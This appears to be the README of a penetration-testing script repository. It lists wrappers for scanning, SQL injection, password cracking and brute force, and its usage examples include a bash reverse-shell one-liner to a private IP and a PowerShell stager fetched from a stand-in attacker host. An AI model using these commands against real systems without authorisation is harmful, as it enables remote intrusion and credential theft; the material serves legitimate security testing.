Welcome to the Pentesting Scripts repository! This collection contains production-ready scripts and wrappers to automate and streamline your penetration testing workflows. The repository is organized into the following directories:
/payloads/
/cracking/
/recon/
Each folder contains tools for a specific phase of a pentest.
- Advanced Nmap Runner & Parser (
nmap_runner.py) - SQLmap Automation with JSON Reporting (
sqlmap_runner.py) - Parallel Recon Pipeline (
recon_pipeline.py)
These scripts integrate popular tools (Nmap, SQLmap, Amass, Gobuster) into automated workflows, parse tool outputs, and log results.
- Multi-Shell Payload Generator (
payload_gen.py) - Encoded Payload Distributor (
encoded_payload_gen.py) - Windows PowerShell Stager Generator (
ps_stager_gen.py)
Payload generators for various shells (Bash, Python, PHP, PowerShell) with logging and file output options.
- Hashcat Runner & Result Parser (
hashcat_runner.py) - John the Ripper Automation (
john_runner.py) - Hydra Brute-Force Wrapper (
hydra_runner.py)
Wrappers for mainstream cracking tools with robust execution via subprocess, output parsing, and logging.
-
Python 3.6+
-
Tools installed and in your
PATH:
-
Clone this repository:
git clone https://github.com/L9-Fatalbullet/Pentesting-Scripts cd Pentesting-Scripts -
(Optional) Create a virtual environment:
python3 -m venv venv source venv/bin/activate -
Install Python dependencies:
pip install -r requirements.txt
python integration/nmap_runner.py 192.168.1.0/24 --ports 1-1000 --aggressivepython integration/sqlmap_runner.py "http://example.com?id=1" --level 3 --risk 2python integration/recon_pipeline.py example.com --wordlist /usr/share/wordlists/common.txtpython payloads/payload_gen.py bash 10.0.0.5 4444 -o bash_rev.txtpython payloads/encoded_payload_gen.py "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1" -o wrapped.shpython payloads/ps_stager_gen.py https://attacker.com/stager.ps1 -o stager.txtpython cracking/hashcat_runner.py hashes.txt /wordlists/rockyou.txt --hash-type 0 --extra-args "-w 3"python cracking/john_runner.py hashes.txt /wordlists/rockyou.txtpython cracking/hydra_runner.py ssh 192.168.1.10 users.txt pass.txt --threads 10Contributions are welcome! Please:
- Fork the repo.
- Create a feature branch (e.g.,
feature/new-tool). - Commit your changes.
- Open a Pull Request.
This project is licensed under the MIT License. See LICENSE for details.
Happy hacking!